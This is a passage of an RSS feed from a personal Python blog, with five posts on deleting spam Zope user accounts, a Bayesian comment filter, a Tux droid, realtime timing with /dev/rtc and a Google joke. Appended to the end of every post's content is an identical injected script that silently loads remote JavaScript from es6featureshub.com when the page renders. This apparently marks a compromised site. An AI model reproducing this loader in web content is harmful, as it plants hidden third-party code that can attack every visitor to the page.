			<wfw:commentRss>http://www.larsen-b.com/Article/261.html/feed</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
		<item>
		<title>Howto to a delete lot of Zope/Plone/CPS User account ?</title>
		<link>http://www.larsen-b.com/Article/253.html</link>
		<comments>http://www.larsen-b.com/Article/253.html#comments</comments>
		<pubDate>Mon, 05 Feb 2007 15:44:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zope]]></category>
		<category><![CDATA[cps]]></category>
		<category><![CDATA[plone]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In a previous post, I study the way some spammers use plone user folder to spam my blog. But this time, it&#8217;s my turn. I host since a little time right now, a small CPS website for my work. And &#8230; <a href="http://www.larsen-b.com/Article/253.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In a <a class="reference" href="http://www.larsen-b.com/Article/239.html">previous</a> post, I study the way some spammers use plone user folder to spam my blog. But this time, it&#8217;s my turn. I host since a little time right now, a small <a class="reference" href="http://www.cps-project.org/">CPS</a><br />
website for my work. And I discovered a lot of spammer user account on it.</p>
<p>The main issue, is that I haven&#8217;t unset the &#8220;joinable&#8221; flag, so everybody can create a account. By the way password are sent, spammers doesn&#8217;t manage to post stuff in the personnal area.</p>
<p>With 300 users, and only 4 valids, I need to find a way to clean the acl_user folder. Last <a class="reference" href="http://www.larsen-b.com/Article/249.html">time</a> I used twill, this works really great, so I decided to use the same stuff for Zope.</p>
<p>Here my little script:</p>
<pre class="literal-block">#!/usr/bin/python

LOGIN='foo'
PASSWORD='far'

LOGIN_URL='http://your_server/manage_main'
USER_URL='http://your_server/acl_users/manage_users'
GOOD_USERS = ['jkx','foobar']

import twill

def delUsers():
   twill.commands.go(USER_URL)
   form = twill.commands.showforms()[0]

   usernames = form.possible_items('names:list')
   for u in usernames:
      if u not in GOOD_USERS:
         twill.commands.formvalue(1,'names:list',u)

      twill.commands.showforms()
      twill.commands.submit(3)

def doLogin():
   twill.commands.go(LOGIN_URL)
   forms = twill.commands.showforms()

   twill.commands.formvalue(2,'__ac_name',LOGIN)
   twill.commands.formvalue(2,'__ac_password',PASSWORD)
   twill.commands.submit()

if __name__ =='__main__':
  doLogin()
  delUsers()</pre>
<p>This will drop all user account (not the ones in GOOD_USERS) ..<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/253.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>I found the secret behind the Guido job at Google</title>
		<link>http://www.larsen-b.com/Article/246.html</link>
		<comments>http://www.larsen-b.com/Article/246.html#comments</comments>
		<pubDate>Sun, 26 Nov 2006 00:23:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This is a bit funny, but all is on the GoogleMasterPlan . As you can see to hire Guido, they decided to send spam. Hum, really happy to find Python on this stuff :)]]></description>
				<content:encoded><![CDATA[<p>This is a bit funny, but all is on the <a class="reference" href="http://picasaweb.google.com/cdibona/RIPGoogleMasterPlan/photo#4979945846336323602">GoogleMasterPlan</a> . As you can see  to hire Guido, they decided to send spam. Hum, really happy to find Python on this stuff :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/246.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Howto to spam-protect your python-based blog with bayesian filter.</title>
		<link>http://www.larsen-b.com/Article/244.html</link>
		<comments>http://www.larsen-b.com/Article/244.html#comments</comments>
		<pubDate>Fri, 17 Nov 2006 19:57:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[bayesian]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[As severall people, I run into issue with some spammer using my comment system to spam, and post backlinks. (Even using some funny stuffs) I &#8216;m already using a good email spam filter: SpamBayes, so I decided to test bayesian &#8230; <a href="http://www.larsen-b.com/Article/244.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>As severall people, I run into issue with some spammer using my comment system to spam, and post backlinks. (Even using some funny <a class="reference" href="http://www.larsen-b.com/Article/239.html">stuffs</a>)</p>
<p>I &#8216;m already using a good email spam filter: <a class="reference" href="http://www.larsen-b.com/Article/112.html">SpamBayes</a>, so I decided to test bayesian filtering for the spam on this blog too.</p>
<p>I decided to give <a class="reference" href="http://divmod.org/trac/">Reverend</a> a try:</p>
<pre class="literal-block">from reverend.thomas import Bayes

SPAM_DB='spam.bayes'
guesser = Bayes()

# load the spam DB
try:
    guesser.load(SPAM_DB)
except IOError:
    print "Creating a new spam filter database"
    guesser.save(SPAM_DB)

def train_spam(text):
    guesser.train('spam',text)
    guesser.save(SPAM_DB)

def train_ham(text):
    guesser.train('ham',text)
    guesser.save(SPAM_DB)

# try to guess the spam / ham ratio of a text
def guess(text):
    spam = 0
    ham = 0
    value = guesser.guess(text)
    for o in value:
        if o[0] == 'ham': ham = o[1]
        if o[0] == 'spam': spam = o[1]
    return (ham,spam)</pre>
<p>Small, and really simple module no ? The next step, simply add a &#8216;spam&#8217; and &#8216;ham&#8217; attributes on your comment post. And add two methods to train the comment as a spam or a ham.. And of course, only display comments which have a good ratio ( &gt;1) ham/spam. This took me about 1 hour to implement&#8230;</p>
<p>After a week, of train, this is working very fine, not a single false positive, and it filter every spam since the first trains. As I get around 20 spams post per day, this is quite a good news ;)</p>
<p><strong>Enjoy Bayesian ?</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/244.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Python powered Tux ?</title>
		<link>http://www.larsen-b.com/Article/235.html</link>
		<comments>http://www.larsen-b.com/Article/235.html#comments</comments>
		<pubDate>Wed, 09 Aug 2006 23:00:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[gadget]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[usb]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Not really, but this nice Tux droid, can be pluged in USB, and the commands are sent via a Python DBUS binding. Hum a stupid question, can we use the Python USB API directly ? With time, Python really became &#8230; <a href="http://www.larsen-b.com/Article/235.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Not really, but <a class="reference" href="http://www2.tux-is-alive.com/wiki/Applications">this nice Tux</a> droid, can be pluged in USB, and the commands are sent via a <a class="reference" href="http://www.freedesktop.org/wiki/Software/dbus#head-e2844d090b2d64ddc5bdff51b624d1e98de56ae3">Python DBUS</a> binding. Hum a stupid question, can we use the Python USB API directly ?</p>
<p>With time, Python really became a powerfull tool for hardware hackers :) That&#8217;s perhaps why I like it so much ?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/235.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Playing with Realtime with Python</title>
		<link>http://www.larsen-b.com/Article/221.html</link>
		<comments>http://www.larsen-b.com/Article/221.html#comments</comments>
		<pubDate>Tue, 24 Jan 2006 08:54:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[rtc]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[For a little app, I need to send stream over UDP at a fixed rate. I have done severals tests w/ some buffers and sleep(), but I can&#8217;t achieve the desired speed. Mainly because sleep() doesn&#8217;t provide a stable enought &#8230; <a href="http://www.larsen-b.com/Article/221.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>For a little app, I need to send stream over UDP at a fixed rate. I have done severals tests w/ some buffers and sleep(), but I can&#8217;t achieve the desired speed. Mainly because sleep() doesn&#8217;t provide a stable enought result.</p>
<p>I decided to look at this a little deeply, and decided to use <strong>/dev/rtc</strong> to do the trick. Here a little example of the stuff.</p>
<pre class="literal-block">from  fcntl import ioctl
import os, time

# some linux kernel header
RTC_IRQP_SET = 1074032652
RTC_PIE_ON =  28677
RTC_PIE_OFF = 28678

# open the realtime clock
f = open ("/dev/rtc", "r")
fd = f.fileno()

# 2048 freq
ioctl(fd,RTC_IRQP_SET,2048)
ioctl(fd,RTC_PIE_ON,0)

t0 = time.time()
interupt = 0

# the read will block until the next interrupt.
while interupt &lt; 1000 :
    os.read(fd,4)  # 4 = size of double
    interupt = interupt + 1

delta = time.time() - t0
print interupt / delta

# drop the scheduler
ioctl(fd,RTC_PIE_OFF,0)</pre>
<p>This is quite accurate enought, the only issue is that I&#8217;m unable to call the <em>sched_setscheduler()</em> from Python right now. So, if the host isn&#8217;t loaded I get the 2048 interrupts.. but it can be less :(</p>
<p><strong>Update</strong>:<br />
The <em>sched_setscheduler</em> can be done w/ a simple pyrex extension:</p>
<pre class="literal-block">cdef extern from "sched.h":
struct sched_param:
int sched_priority
int sched_setscheduler(int pid, int policy,sched_param  *p)

SCHED_FIFO = 1

def switchRTCPriority(nb):
cdef sched_param sp
sp.sched_priority = nb
sched_setscheduler (0,SCHED_FIFO , &amp;sp);</pre>
<p>After this quick Pyrex hack, I now have a accurate realtime interrupt in Python ;)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/221.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
